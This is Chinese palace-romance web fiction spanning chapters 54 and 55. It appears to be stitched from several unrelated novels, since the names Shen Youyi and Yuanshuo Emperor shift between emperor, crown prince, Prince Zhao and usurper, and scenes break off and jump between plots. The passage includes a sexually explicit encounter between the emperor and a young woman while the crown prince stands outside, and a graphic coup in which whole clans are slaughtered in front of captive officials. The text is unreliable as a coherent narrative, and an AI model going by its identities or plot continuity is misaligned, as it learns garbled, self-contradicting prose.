言太后细细打量,天青色撒花的锦裙衬出姑娘姣美沈颜,是个顶尖的美人坯子。 她饶有兴致地问了几句话,沈幼宜一一应答得宜。 言太后身旁的福宁暗暗点头,宁远伯府教女有方。她熟知太后心意,以眼神示意侍女去取些物件来。 初次入见,沈三姑娘得了太后眼缘。言太后赐下嵌宝石凤蝶玉簪一对,双蝶明珠耳坠一对,白玉镯一对,赤金镂空手镯一对。 “谢太后娘娘。” 秦氏起身一道谢恩,遑论在家中如何,在外沈三姑娘代表的是宁远伯府的脸面。她能得太后青眼,伯府自然有荣与焉。 向菱与向萍代三姑娘收了礼,沈幼宜正欲退下,太后笑吟吟道:“你这孩子,今日用的是什么香料?哀家闻着格外舒心。” 沈幼宜欲答时,忽而意识到什么,立刻斟酌着改换了答案。 同为沉香,太后也只是觉得有些熟悉,未曾深思。 从寿安宫中出来,有宫廷女官导引,夫人贵女们可自行去御苑赏花游玩。 虽是寒冬,花苑中亦有繁花盛放。山茶朵朵缀满丛中,层层叠叠的花瓣捧出当中金色花蕊。梅花傲立枝头,玉堂春雪,素心腊梅,洒金梅,种种名贵花枝各具姿态。 眼下初过午时,晚间尚有席宴。女眷们大多不出宫,内廷亦安排了休憩之所,供宾客落脚。 “沈夫人安好。” 秦氏方带着家中姑娘们赏一株稀罕的照水梅,见有位五品服制的女官寻来,客气地颔首还礼。 姚尚仪道:“奉上头的旨意,请三姑娘去佛堂抄一卷经书。” 秦氏不疑有他,只当是沈幼宜格外得太后青睐。 她悉心交代女儿两句,姚尚仪笑着等候:“三姑娘请。” 他的声音有些大,显然是为了提醒。 沈幼宜吓坏了,她压抑着哭腔,低促地提醒道:“陛下,是太子、是太子呢!” 元朔帝唔了一声,并未借着她那股劲儿交出去,反而慢条斯理地抽身出来,沈幼宜以为这就算是结束,可只一晃神,竟又分花拂柳,愣头愣脑地横冲直撞。 更深,更重。 他安抚似地啄了啄她锁骨:“朕知道。” 沈初宜愣住,他知道、知道什么? 不是说在晚辈面前更要庄重些么!连亲一亲都嫌她不庄重,那他如今是在做什么? 他什么也不知道!她要喊出来了! 第 54 章 第 54 章 陈容寿离得更近些,见车内寂静,料想陛下也不至于那样荒唐,只是仍不慌不忙地与太子寒暄:“殿下的面色似乎不大好,可是连日操劳,夜里又受了凉?” 太子闻言勉强笑了一下,他的身体还没弱到那份上,更多是因为气恼。 内侍总管的神色略有些不对,太子听到车内似乎有杯盏翻倾的声音,忐忑着关怀道:“阿耶可是为什么事情生气?” 此时此刻,他很难不想天子恼怒,或者就是因为他与太子妃的事情……他们夫妻纵然不睦,在外人眼中也是一体,阿耶很难不怀疑到他身上。 陈容寿满面难色,他思忖着陛下方才是不至于生气的,眼下却未必,委婉劝道:“殿下若无要紧事,不妨还是先回车中,待陛下到馆舍后自会召见。” 太子听得懂总管话里的小心,然而却理解成了另一层意思,他低声道:“阿耶想必是误会了?” 近日,皇陵天降流火的传言可谓是传遍了京都,流言蜚语分成两波,一些百姓真的相信了萧氏皇族被上天惩戒的传言,当然也有一部分知道内情的,猜测这是前朝余孽在暗中作祟,但无论真相如何,官府都没有承认,对外只是说意外。 工部官员参与此次建造的都被问责,从上到下严查,主理此次事件的人是皇太子元朔帝,因为皇帝这些日子又病了,没有力气管朝堂上的事了。 皇帝的病反反复复,也不知道什么时候才能好转,太医对外说是风寒,修养些时日便好了,但皇帝久久不露面,这病究竟能不能好,大家心中都有些猜测。 储君监国,东宫大门敞开迎客,官员们进进出出商讨国事,搞得整个东宫都严肃起来,气氛不如往日那样轻松了。 前院朝臣来来往往的,女眷都躲在自己院子里,不敢随意出门,以免摊上什么祸事,毕竟东宫后院里也不太平,前有侧妃闵樱因为争风吃醋谋害嫔妾被禁足降位,后有太子嫔因管理不力而被剥夺了掌事权。 整个后院过得轻松自在的,也就只有沈幼宜了。 后院女人不敢招惹她,这才刚回来两个月就斗垮了侧妃和太子嫔,看来沈幼宜比四年前要厉害许多,真是惹不起。 因着怀德院随沈幼宜就能出,所以她这些日子是经常往怀德院里跑,一天有大半时间都在怀德院里,想办法黏在元朔帝身边,可惜元朔帝太忙,忙到没时间和她说句话。 沈幼宜方才又被元朔帝训斥,她满脸不高兴地从殿中出来,正好撞上了急匆匆过来的人。 “实在是对不住,这位姑娘见谅,在下刚刚走路太过匆忙,没看见前面有人,实在对不住。”一位穿着青色衣衫的年轻男子对着沈幼宜低头作揖,一脸歉意。 沈幼宜缓了口气,摇头浅笑,“无妨,公子没撞疼我,也是因为出门没注意,不妨碍的。” 身着华丽宫装行走在储君院内,他应该是叫错了称呼,不应该叫姑娘,而是该叫娘娘。 林怀泽反应过来,立马拱手再作揖,“实在冒犯,是在下眼拙,不知是哪位娘娘再此?” “妾身沈氏,东宫奉仪。”这是沈幼宜在天灯上写下的,很普通很寻常,大多数人都这样写的,但也很真实,很符合沈幼宜的性格。 此时气氛美好柔和,沈幼宜偏头靠近元朔帝耳边,轻声道:“不如今夜,妾身……” “殿下!殿下!下官可算是寻到您了。”一位三十左右的男子跑过来,气喘吁吁地向元朔帝作揖,“工部,工部出了事,官员们都在尚书省等着殿下呢,下官请殿下移步尚书省议事。” 儿女情长风花雪月自是不能与朝堂大事相比,元朔帝身为实权储君,兼任尚书令一职,工部出事他自然要去。 沈幼宜没说出口的邀请被噎在嘴里,只能忍住失落又故作大方地说:“殿下自是以家国大事为主,妾身没那么不懂事,殿下快去吧,不用管我的,我认路,可以自己一个人回去的。” “嗯。” 两人在怀德院中可简单客气了几句,林怀泽才知道眼前这位就是堂妹林幼宁嘴里念叨的那位沈奉仪,身份低微却手腕高超,心机深沉极有野心的女子。 他心道这位沈奉仪不像传闻中的那样不堪,不因为别的,只是直觉,仓促撞到的那一刻,这双眼睛清澈淡雅,没有丝毫慌乱和傲慢。 林怀泽被福案领进议事阁中拜见太子,他离京有些时日了,若不是因为这次工部出事,他也不会被突然召回京都。 元朔帝坐在主位上,左右两边是皇城统领楚枫和林怀泽,几人说起正事就忘了时辰,直到天色昏黄才说完朝事。 朝臣们散去,元朔帝留下了林怀泽,除去君臣之别,他们有一起长大的同窗之谊,私交很好。林怀泽与元朔帝谈起出京游历路上的所见所感,锦绣堆里长大的贵公子初尝人间疾苦,民生万象,一时感慨良多。 元朔帝也愿意听林怀泽说这些,两人不知不觉聊了许久,屋内有些闷,林怀泽走到窗边开窗。 院中梨花绽放,洁白的花瓣随风打转,最后辗转落在美人的肩头,美人肤白胜雪,眉目如画,比幽香静美的梨花更雅致,比天边璀璨如燃烧的夕阳更赏心悦目。 “天色已晚,臣该回府去了,不便打搅殿下。”林怀泽笑着打趣道。 “不打搅。” 林怀泽转身看着茶案前倒茶的元朔帝,笑道:“佳人在侧,不该辜负才对,沈奉仪还在院中等着殿下呢,殿下不去瞧瞧么。” 闻言,元朔帝挑了挑眉,起身走到林怀泽身边,顺着窗户往外面看去。 树下纤细袅袅的身影装入眼帘,她双手托着下巴,正在仰头看彩霞,没注意到不远处有两个男人正在看她。 午间膳后,几位外臣齐聚议事阁,元朔帝有正事要做,沈幼宜却黏在身边,亦步亦趋地不想回去,他那时冷声训了她几句,她有些生气委屈,便提着裙子跑出去了。元朔帝本以为沈幼宜生闷气,肯定会回海棠阁去,没想到她居然没走。 那她,是一直坐在梨树下的摇椅上等着了? 元朔帝静了会,缓缓点头,对林怀泽说:“也罢,你才归家,孤不可多留你,你回吧。” 林怀泽有些诧异地看了眼元朔帝,微微垂首告退,退出了议事阁。 院中安静,福案带着下人们都退下了,元朔帝走出议事阁时,沈幼宜正抱着裙子蹲在梨花树下捡花瓣。 捡花瓣这样有闲情逸致的事情可不像是沈幼宜能做出来的。 “作何捡已经沾上泥土的花瓣?”元朔帝走到沈幼宜身后,淡声问道。 “无聊。”沈幼宜双手捧着梨花瓣,朝着天上一扬,眉眼立马弯了起来,然后转身看着元朔帝,惊喜道:“殿下终于忙完了吗!” 她想站起来,脚腕却磕到一块石头,不小心坐到了地上,双手沾满了泥土。 元朔帝暗暗叹气,走上前两步,朝她伸出手,“你这脑袋,恐怕还比不上清儿。” “那多好呀!清儿以后定要比我聪慧百倍,他们要像殿下,不能像我,像我不好。” “其实像你这样也很好。”元朔帝在心里暗暗说。 心宽的人长寿又欢乐,他希望孩子们在这方面都像她。 沈幼宜拉着元朔帝的手站起来,不顾手上脏脏的,扬起手就环抱住了男人的腰身,瓮声瓮气说:“殿下今日训斥妾身,我现在已经知道错了,殿下可不可以原谅我,不要与我这个小女子计较。” “本来就没和你计较什么。” 她一直都是这样的性子,元朔帝早就习惯了。 沈幼宜抬头,突然凑上去亲了一下元朔帝的下巴,欢喜道:“殿下不计较了,可是妾身却因为殿下的训斥郁闷了好久,殿下看在妾身乖乖认错的份上,哄哄我好不好。” “你想孤怎么哄你。” “嗯……”沈幼宜想了想,回头指着身后的梨花树,“不如殿下在这里建个秋千吧,我想要秋千很久了,东宫里唯一的秋千就是湖边的那个,但那秋千有很多人都去坐,我不想要所有人都能坐的,我要一个只属于我的!” “好。”惠风和畅,钟声悠悠。 “殿下也来祈福?”沈幼宜笑问道。 此话不尽然,白日无事,元朔帝只是在寺中随意走走罢了。 二人偕行赏景,穿过藏经阁,沈幼宜指了方向:“臣想去宝殿中求一道签文。” 都已经到了崇圣寺中,不妨问一问神佛的指引。 听洒扫的小沙弥说起,今日寺中恰有高僧解签,如此机缘不可多得。 沈幼宜与元朔帝顺着他指点的近道,穿过回廊,跨入殿门时才发现谢谦也在此求签。 他方中了一支上上签, 兴高采烈地将签文分享给他们二人同看。 竹签上载:“梧桐叶落秋将暮,行客奔程似若飞;谢得天公轻著力,顺风船载宝珍归。” 解签的高僧法号智空,在寺中修行的小沙弥们都说不清师父的年岁,只知道他老人家总过了耄耋之年。 智空师傅半阖着眼,竹签解曰:“心中从事,天必从之,营谋用事,尽可施为。此签凡事先凶后吉也。” 先凶后吉,沈幼宜垂眸,只怕不单单是说谢谦率渤海诸将归降昭王一事。若是她梦中的宫变为真,谢谦必定会是新帝股肱之臣,这不正是富贵险中求? 轮到她时,沈幼宜跪于蒲垫上。昭王殿下是没有求签的意思的,以他在朝中的身份,无论抽出什么签传回朝堂,总能掀起波澜。 沈幼宜双手捧了竹筒,伴一阵清脆的响动,一只竹签正正落了出来。 她拾起,恭敬递给智空大师。 第十签,签上所书:“石芷无价宝和珍,只管他乡外界寻;宛如持灯理觅火,不如收拾枉劳心。” 此为中平签,谢谦方才跟着一同看过,不得其意。 智空大师声音平和:“姻缘会遇,何事不成,须无别意,眼前是真。此签持灯觅火之象,万事待时成就也。” 万事待时成就也,沈幼宜默默念了两遍,余下的只能自己参悟。 她一礼:“多谢师傅。” 智空大师目光在她身上定了片刻,捻动佛珠,又道:“这位施主,既得缘法,不妨也求一支签。” 此话对向的是昭王元朔帝,大师既开口,元朔帝自然遵从。 他的签同样是一支中平签,曰:“内藏无价宝玉珍,得玉何须外界寻;不如等待高人识,恰如灵雨涤烦襟。” “不知此签何解?” 智空大师细细端详手中竹签,又望面前意气风发的年轻人。 他这一番沉默许久,方道:“内藏珍玉,不须外寻,遇贵指示,不劳空心。此签凡事守旧则吉也。” 谢谦不解,“守旧则吉”,以殿下今时今日的地位,再争一步便是帝位,怎可能守旧则吉? 况且殿下从来不是守成的性子,断没有枯等机缘的道理。 但大师面前,谢谦不敢造次。 沈幼宜若有所思,同样一语未发。 智空大师闭了眼,似乎已然疲累。 他最后道:“施主且多留心身边人。” “多谢大师赐教。” 元朔帝压了眸中困惑,起身一礼。 元朔帝还以为沈幼宜会要首饰珍宝之类的,没想到就只是这么简单的要求。 见两位主子心情都欢喜,福案见机过来问是否要现在传膳,元朔帝扬手准了,与沈幼宜一起去了正堂中用膳。 谁知吃饭吃到一半,怀德院里又来了客人。 “你身上的伤好了?怎么这么快就回京了?”元朔帝见到江恒之有些惊讶,不是说被女刺客刺了一刀还在养伤吗?这么快赶回来做什么? “没事,伤好了许多,皇陵出了这么大篓子,自然要赶回来向殿下请罪。”江恒之虽与元朔帝说着话,但目光总是往沈幼宜脸上偏移,似乎在探寻着什么。 元朔帝虽瞧太子妃不大顺眼,可见她们几人容色憔悴,眼睛都熬得通红,开口教她们明日再来侍奉。 几位侍妾极少能见到自己这位传闻中十分威严的公爹,见皇帝并没有责怪她们伺候不力的意思,生出些惶恐的欢喜,各自回去胡乱地睡上一阵。 只有太子妃,仍有些恋恋不舍的意思。 可碍于天子命令,她这一日又经历了太多事情,实在也有些强撑不得,还是交代了内侍几句,脚步虚浮地离开了。 原本纷乱的内室倏然静了,太医都退至侧间,内里只有为太子擦身的内侍。 那内侍见圣上拨帘入内,微微有些不安,却听元朔帝道:“下去。” 第 55 章 第 55 章 太子发出的音节极为模糊,然而元朔帝还是听到了大概。 此刻内寝只有他们二人,他断不会生出错觉。 那两个字噙在口齿间,是几乎生出香气的缱绻,然而这不该从太子的口中说出来。 巾帕纹丝未动,上面的酒液却一点点滴在榻边,无声地打湿柔软的衾被,元朔帝屏住声气,静静地候着。 盥洗盆底,立着几只象征恩爱的小巧水禽,它们栩栩如生,互相梳理羽毛,散发着柔和的金光,他却只看见水面上的倒影。 那是一张阴云密布的人脸,甚至不能称之为人,皮肉因水纹而扭曲成一层层的涟漪,像是即将食人的恶鬼。 从来没有过这样一刻,他竟会因为自己的儿子而惶恐不安,一个父亲,等待着儿子的审判,这种性命捏在旁人手里的滋味,即便是先帝在时,他也不曾有过。 右想把她送到房间后交代她不要出门,便匆匆离开,在房门口留下几名带刀护卫。 沈幼宜心中惊疑不定,站也不是,坐也不是,更没有心思打量这间华贵的寝宫,若她稍微分心看上一看,便会发现里面的诸多物件与元朔帝后面送到西巷口的一模一样。 内殿墙角还有几个箱子,全是沈幼宜的东西,包括她每夜陪伴入眠的那副画。 不知过了多久,屋外乱七八糟的声音渐渐平息,沈幼宜的心弦却一直紧绷,几乎感受不到胸腔里的跳动。 他会成功么? 沈幼宜控制不住地去想元朔帝失败后的下场。 不怪她这般没有信心,实在是这段时日的相处,元朔帝给她的印象皆是温和仁善,体贴儒雅,完全想不到他能做出这般铤而走险之事。 那夜他无可奈何的愤怒,听天由命的颓丧还历历在目。 再者说,他被幽拘在西巷口,平日里一言一行皆在皇帝掌控下,连出入的自由身都没有,更别说谋成大事。 沈幼宜从知道要嫁给元朔帝的那天起就做好了赴死的准备,如今也不怕某一天会被赐死,唯独害怕再听见他的死讯。 这般锥心刺骨的折磨她不能承受第二次。 在巨大的心理压力下,沈幼宜甚至出现幻觉,眼前恍惚间浮现与顾焱见的最后一面。 “这次要出远门,归期不定,但是我会尽快赶回来。” 顾焱欲言又止看着她,脸上慢慢浮起一层羞赧,沈幼宜问他原因,他只是一个劲儿摇头。 临别时,他挠着后脑勺,还是忍不住将藏在心里的话说出来:“幼幼,等我回来——” 他故意拖长音,放低声调,引诱沈幼宜侧身倾听。 “娶你。”忽如其来的宫变打得朝野上下措手不及,众位大臣们本以为只是来参加一个普通的宫宴,谁料自己和妻儿尽皆身陷囹圄。 废太子逼宫,李将军叛变,恭王府率先称臣。 要知道李将军是皇帝千挑万选提拔上来的亲信,他又与严珩一交往过密,两家人下个月即将定亲,任谁也不会想到他是废太子的人。 再说废太子,他剑指诸臣,眉目柔和却说出骇人之语。 降者,与妻儿回家团聚。 逆者,全家以另一种方式团聚。 有人仗着自己在京城多世累积的根基,当场怒骂元朔帝不仁不义,罔顾人伦,表示绝不屈服于他的淫威之下。 言之凿凿,气势礴礴,仿佛料定元朔帝不敢杀他。 然而还未等细数元朔帝的罪状,下一刻已身首异处,脖颈喷溅而出的血柱染红大殿中的第一块青砖。 然后越来越多的砖变成猩红色,空气中弥漫着浓稠的血气。 元朔帝随意坐在象征至高无上的王座之上,唇瓣微弯,斯条慢理地用锦啪擦拭剑刃上的血迹,青色的帕子被染成深黑,像是未掺水的墨汁般黏腻。 他当真践行自己说过的话,遇到顽固抵抗的,先到后宫抓来亲眷,将其当面斩杀,随后又拿出一本册子。 元朔帝体贴叫人送到跟前,言笑晏晏:“一家人,谁也不能少。” 负隅顽抗者捡起书册,翻开一看,竟然是家谱,当即昏死过去。 元朔帝好心叫太医替他针灸扎醒。 杀戮从宫内蔓延到宫外,早先潜入城内的三千精兵分作数十股,联合李玉手中的人马将这些个世家大族的府邸团团围住。 宫里每送出来一本夺命册,就有一个姓氏在京城除名。 元朔帝杀人诛心,定要等阖府老少全部伏诛,方才下令杀掉早已失魂落魄的朝臣,他们往往等不到银甲侍卫拔刀便要自行了断。 然而元朔帝早有预料,勒令侍卫死死制住,必定要等到家族中除他之外最后一个人头落地才肯松手。 等人自戕后,他哀叹着命人厚葬。 一连数十日,整个城人人皆化为惊鸟,稍有风吹草动便惶惶不可终日,生怕屠刀忽然在自己头顶落下,遭遇灭族之祸。 元朔帝丢的册子有薄有厚,竟真的不在乎他们背后盘根错节的势力,也不担心将他们屠戮殆尽后朝廷无法运转。 随着周围熟悉的面孔越来越少,还尚存活的人饶是再糊涂,看着地上淋漓的鲜血,听着耳边撕心裂肺的惨叫,也该知道如何选择了。 相比起前朝的腥风血雨,后宫显然要平静得多。 但仅仅也只是看起来平静,女眷妃嫔们被限制在一个大厅内不得出入,她们谁也不敢发出一点儿声音,任由恐惧在无声中蔓延。 外面守着数十个带刀侍卫,他们面朝殿外,脸上透着不近人情的肃穆冰冷。 女眷们已经被困在宫中数日,心理和身体受到双重折磨,然而却不敢有一刻松懈,眼睛战战兢兢盯着紧闭的大门,生怕它不打开,又更怕它又打开。 因为每打开一次,就会有几个人被拖走,无论是参宴的命妇贵女,还是已成皇家的妃嫔都无法幸免。 她们离开时哭声凄厉,精致的妆容变得狼狈不堪,即便这样也未能打动这些个冷面悍将,遇上不省事的直接将刀架在脖子上。 刀锋上的冷光让在场的人的脸色煞白,胆战心惊。 最要命的事,出去的人再也没有回来过。 这架势,可不像是放人出宫。 眼看大厅内的人越来越少,最先坐不住的是沈盈丹,她从小是天之骄女,父亲是首辅,姑姑是皇后,别说有人拿刀指着她,连白眼也未曾受过一个,何曾受过这般惊吓。 她看向上首的沈皇后,好几次想跑过去问她现在该怎么办,被她母亲死死按在原地。 沈夫人冷睨了她一眼,“乖乖坐下。” 如今人为刀俎,她们是鱼肉,只能等着前朝博弈出一个结果。 沈皇后还算冷静,毕竟在深宫沉浮十几年,看出元朔帝是要杀鸡儆猴,她们不过是微不足道的筹码,做任何事都徒劳无功。 眼神不由自主瞥到墙角胭脂色宫装的妃嫔身上,她身边现在围绕着许多人,甚至有品阶比她还高的嫔妃,这位正是元朔帝的生母李贵嫔。 李贵嫔原本和其他人一样惊慌失措,然而渐渐在周围人的吹捧中迷失自我。 造反的是她儿子,若是成功她的地位水涨船高,若是失败,她完全可以推脱不知情,失去这个儿子,她还有另外一个从小长在跟前的小儿子。 李贵嫔对元朔帝其实没有什么感情,比起天真活泼的小儿子,元朔帝让她感到心悸。他明明是在笑,却总有种凉薄的悚然,叫人无法亲近。 皇后内心冷笑,李贵嫔在想什么她一清二楚,反而对元朔帝的冷酷无情愈发忌惮。 比起提前离席的恭王妃,他的生母似乎也没有受到更多的优待。 日升日落,等到门再一次被打开时,大厅里的人只剩下一半,这回走进来的不再是面目狰狞的侍卫,而是东宫的大宫女右想。 她面无表情环视一周,最终落在沈皇后略显疲态的脸上。 顾焱坚定吐出两个字,还没等沈幼宜反应过来,人已经跑到十步之外,伸臂高挥,仰天大吼。 “一定要等我回来。” 沈幼宜板着脸想教训他低调些,然而到嘴边却变成一声重重的嗯,眼里的喜悦怎么也藏不住。 大门毫无征兆地发出吱嘎一声,沈幼宜如惊弓之鸟一般弹射而起,见到是元朔帝后先是一愣,转瞬红了眼奔过去。 “你没事吧。”沈幼宜触摸着真实温热的身躯,悬停的心终于重新扑腾起来,而后疯狂躁动,好似要跳出嗓子眼。 元朔帝下意识搂住怀里人,安抚地拍拍她瘦弱的背,语调不自觉放轻:“我好好的,别担心。” 沈幼宜鼻尖嗅到淡淡的潮意,低头一看,认出他换了一件衣裳。 受了重伤才会换衣裳。 “不行,我要看看。”沈幼宜猛地从坚实的怀里挣脱,不由分说检查他的全身。 他永远都是报喜不报忧,受伤也不会告诉她,怕她担心,怕花钱,总是能自己扛就扛过去。 元朔帝垂眸,沈幼宜既惊且忧的神色落入眼中,手里的动作带着鲜有的强势。 柔软的指腹在坚硬的身躯四处游走,不轻不重,白皙的五指与玄色衣袍撞出鲜明对比,让人难以忽视。 她很担心他。元朔帝在前朝呼风唤雨,在后宫掀起惊涛骇浪,内外皆以他的命令为金科玉律,不容违抗。 回到自己住了十几年的东宫,做主的人却换成了沈幼宜。 元朔帝慵懒地躺在沈幼宜的腿上,有一搭没一搭地和她商量大婚的事。 “芸夫人想要留下观礼,还是直接下沈南?” 芸夫人是沈幼宜的娘亲,元朔帝把人接到皇宫,又让太医院的人替她诊脉,短短数日已有成效,不过积年沉疴,还需日后静养才能痊愈。 沈幼宜:“我问过娘亲的意思,她说想在当天离开。” 芸夫人歌姬出身,是地方上精心培养送给沈父用来解闷的玩意儿,她自知身份卑微,不愿带累女儿的名声,因而拒绝参加沈幼宜大婚。 当初沈幼宜一顶轻软小轿送进西巷口时,芸夫人躺在床上没能起来,如今只要求远远看上一眼她出嫁时候的模样便心满意足。 至于离开京城,则是沈幼宜的主意。沈幼宜在侯府的住处唤作乐游院,每每回来,母亲都提前吩咐人打扫妥当。 被褥都是新晒过的,铺床的丫鬟春桃笑道:“夫人听说郎君近来睡不安稳,特意着人送了些安神香来,奴婢可要给郎君添上?” 明日是休沐,沈幼宜颔首应好。 月光如水映入窗格,清香袅袅间,榻上人得了一夜好眠。 养足精神,翌日沈幼宜换了月白色的圆领锦袍,于巳时出府赴约。 惯例是在清茗茶楼二层的雅舍,沈幼宜到得早些,点了一壶清茶。 连廊的窗子半开着,可以听见茶舍一楼的说书人已经开锣。 沈幼宜稍稍侧耳一听,说的还是昭王殿下在汜水关一战擒两王的胜绩。这一折戏近来风靡京都,道一句妇孺皆知不为过。 “等久了?” 沈幼宜抬眸,见到表兄身影,笑着摇了摇头:“我要了一壶碧螺春。”她本就是想出来散散心,故而提前出府。 孟庭在她对侧落座,并不拘喝什么茶水。 沈幼宜为表兄斟茶,当年母亲与外祖家失散,多年来打听不到家中亲人的消息。本已断了希望,不曾想表兄如此争气,在南征中立下战功,官拜五品云威将军。 沈幼宜与表兄在朝堂上相见,很快确认了彼此的身份。母亲得到消息后大喜过望,宣平侯府也爽快地认下了这一门亲戚。 外祖父与舅舅皆已不在人世,表兄就是孟家的顶梁柱。他在京都置了宅邸,前年将外祖母与舅母一同接入京中安养天年。 时隔十余载,孟夫人再度与母亲和嫂嫂相见,相拥时喜极而泣。 沈幼宜虽与表兄自幼不识,但许是亲缘使然,二人很快熟悉起来。 表兄及冠时,授他兵法的孙老将军为他起了表字。 便是梦境中昭王唤的那二字,“铭轩”。 按理来说,昭王应当不知道表兄的字。 察觉到自己在想什么,沈幼宜不自觉摇了摇头。这本就只是她的梦境,她竟还试图在梦中讲道理。 “怎么了?”孟庭语气关切。 “我在想昭王回京的事罢了。” 沈幼宜在表兄面前从来无需掩饰太多,于她而言,他远比沈家同姓的宗族兄弟更值得信赖。 孟庭亦然。他略知晓宣平侯府中事,尤其幼宜女扮男装一事姑母不曾隐瞒他。 台下说书人正讲到战场关键处,民间消息口口相传,总有夸大之嫌。 直到今日,沈幼宜也未能知晓这场战争的全貌。东宫那边自然只有寥寥数语,生怕对昭王的功绩多夸耀半分。 自从三年前一别,沈幼宜也刻意回避着他的消息。 “表兄给我讲讲吧。”她道。 “好。”孟庭为武将,对这场天下闻名的战役有更多独到见解。 面对沈幼宜,他尽力将战事讲得简洁易懂些:“昭王此役,本是为擒洛阳王行满。” 王行满于乱世起兵,据河南之地,自号为郑王,拥兵二十余万。 “洛阳城乃三朝古都,有十万精兵把守,钱粮充足,易守难攻。”孟庭指尖沾了茶水,在案上绘出简易地图,“昭王殿下未正面强攻,而是出奇兵沿途拔除洛阳城周围粮仓、卫城,封黄河北岸口,于去年秋对洛阳城形成合围。” 洛阳成为一座孤城,将领多有逃出城门投降者,洛阳城破不过时间问题。 偏偏此时,王行满秘密遣使出京,以重金向夏王刘建安求援。 河北之士多义气,刘建安也恐唇亡齿寒,率十万精兵来援。 说书人一拍惊堂木:“却说洛阳城中王行满仍在负隅顽抗,夏贼大军又近在眼前。昭王殿下陷入两难境地,若不撤兵,则受郑夏两军合围,腹背受敌;可若撤兵,洛阳一役功亏一篑,只怕日后再没有这般好的机会。” 昭王手下将领分作两派,围绕撤兵与否争论不休。 孟庭道:“军情迫在眉睫,昭王命手下将士继续全力围困洛阳,自己则点起玄甲军,奔赴汜水关开战刘建安。昭王殿下以三千五百铁骑大破夏兵十万大军,刘建安降。” 眼见着援兵成了阶下囚,内外交困的王行满旋即出城投降。昭王一战擒两王,荡平中原,扬名天下。 京都形势再掀起波澜,幼宜身处其中,孟庭知晓她的艰难。 她近来时常是心事重重的模样,孟庭有意令她开怀,挑了些轻松的话来提。 “听说刘建安出降,昭王命将士将他五花大绑押到自己面前,质问道:‘本王为擒王行满而来,不干汝事。何故越境,犯我兵锋?’你猜猜刘建安是如何答的?” “如何?”沈幼宜抬眸,给了表兄两分面子。 孟庭清了清嗓子,学了那人的话语:“我若不来,岂不是还得劳烦您再北上远取?” “扑哧”一声,沈幼宜低笑出声。 夏王刘建安能屈能伸,也算是一代枭雄。 说书人一折好戏散场,茶舍中依旧热闹不休。 孟庭与昭王年岁相仿,同辈中有如此不世出的天才,他亦是感慨万千。 “汜水关一战,昭王打出了旁人三十年都未必能有的战果。”孟庭也着实好奇,“就是不知,陛下此番该如何嘉赏昭王。” 半壁江山都是昭王打下来的,沈幼宜苦笑:“昭王不世之功,早已是赏无可赏,封无可封。” 如今也只剩那最后的东宫储君位,甚至—— 大晋帝位。 元朔帝要娶沈幼宜,自然不会让一国之母的生母是个妾室,原本打算让沈家提为平妻,却被沈幼宜拒绝,换成要沈府放母亲自由身。 她说娘亲本就不喜欢沈府的生活,在这里也没有能说得上话的人,她又嫁入宫闱,一年到头见不了几次面。 她离家数年,现在想回故乡养病,顺便看看还有没有故人。 元朔帝对这种小事自然无所谓,他抬手捏了捏沈幼宜的鼻尖,笑道:“以后见不到你娘,你想她了怎么办?” 沈幼宜莞尔一笑,眼眸弯弯:“那我就去找殿下,见到殿下便好了。” 元朔帝笑意更甚,他喜欢沈幼宜这样依恋他的感觉。 手从她的脸颊划过,绕到纤长白皙的脖颈,而后不轻不重地往下压到自己怀中。 “你不仅能见到,还能……”未尽之话消散于两人的唇边。 轻纱摇曳,烛光忽明忽灭,墙上的人影密不可分地黏在一起。 夜深寂静,耳侧亲吻声被无限放大。 元朔帝的唇舌与沈幼宜的勾缠在一起,她微张着嘴,予取予求。 沈幼宜实在是太乖了,面对他的索取,毫无防备。 最先受不住的反而是元朔帝,他轻柔又不失力道地推开手中,眸色深沉。 感受着透过两层薄薄的布料传递过来的柔软,他的身体却开始逐渐变硬。微凉的指尖像火引,在抚摸过的地方到处点火,皮下才从杀戮中平息的血液又重新沸腾起来。 她认真检查的模样分明没有半点旎情,却叫元朔帝眼神逐渐暗沉,比夜还幽深。 沈幼宜没有问他成功与否,只关心他有没有受伤。“殿下有令,请诸位娘娘各自回宫,其余夫人小姐们随我出宫,宫门口已为各位准备好归家的马车。” 听到这句话的众人几乎热泪盈眶,尤其是归家二字,格外动听。 然而右想话锋一转,冷声道:“殿下提醒诸位,近来京中蹿入一伙流寇,来无影去无踪,已有多家不幸遭难。请各位回去好好休息,切莫乱跑,否则做了刀下亡魂,岂不冤屈。” 大伙听出她的言外之意,颤抖着嘴唇低声称是。 右想满意地走在前面,女眷们支起发软的腿,相互搀扶走出令人窒息的大殿。 于此同时,流寇中的某位带头人在西街公卿府邸作乱时,不慎被一位弱柳扶风的女婢砍伤了腿。 严珩一嘲笑他:“顾焱,你竟然被一介女流伤到,莫不是看上人家了?” 床上的男子虽然年轻,却是一位用剑高手,严珩一等人能有惊无险到达黎城,他功不可没。 顾焱躺在床榻上,手臂挡住眼睛不想理他。 严珩一笑嘻嘻坐在床边,揶揄道:“你要是真喜欢,待我去查清她的底细没问题后,向殿下替你求个情,将她赏给你。” 元朔帝虽打定主意对这群尸位素餐的蠹虫斩草除根,却对无关紧要的奴仆网开一面,当然,若有那些个要尽忠赴死的也不规劝。 顾焱摆摆手,示意他快滚。 严珩一与他一路患难与共,早把顾焱当成自己人,对他的无礼也不在意,同时说起话来也没顾忌。 “对了,你之前说过回来后要娶一位小姐,她是谁啊?” 当指尖即将碰到他的咽喉时,元朔帝猝然攥住她的腕骨,这场折磨才算停歇。 “先用膳,等会让你看个够。” 低哑的嗓音唤回沈幼宜逐渐丧失的理智,在对上元朔帝漆黑眼瞳瞬间,不自觉瑟缩了下。 她刚刚在做什么,怎么又认错了人。 悬空的五指骤然缩回,藏在胸前,她语无伦次:“殿下……我……失礼了……” 沈幼宜惊慌地连退三步,低着头,根本不敢去看元朔帝。 她的仓皇无措落在元朔帝眼里却格外可爱可怜,他开始反思自己瞒着她这么大的事,会不会让沈幼宜对他心存芥蒂,产生隔阂。 一想到有这种可能,元朔帝变得难以忍受,正要解释一番,殿外响起右想问膳的声音。 元朔帝只能先压下喉间不适,让人进来。“再等一等……”他动了动喉咙,拇指在细腻滚烫的脸颊上摩挲,喑哑道:“你还能拥有更多。” 沈幼宜眼眸氤氲着白雾,唇如花瓣般糜艳,看向他的眼神热烈沉沦,既让人生出无限怜惜,又能激发他隐藏在骨子里的暴戾。 想要她哭出来,泪落在他的身上。 元朔帝在付诸行动之前闭上眼,“替我按按头,最近处理那一大摊子烂事儿让人头疼。” 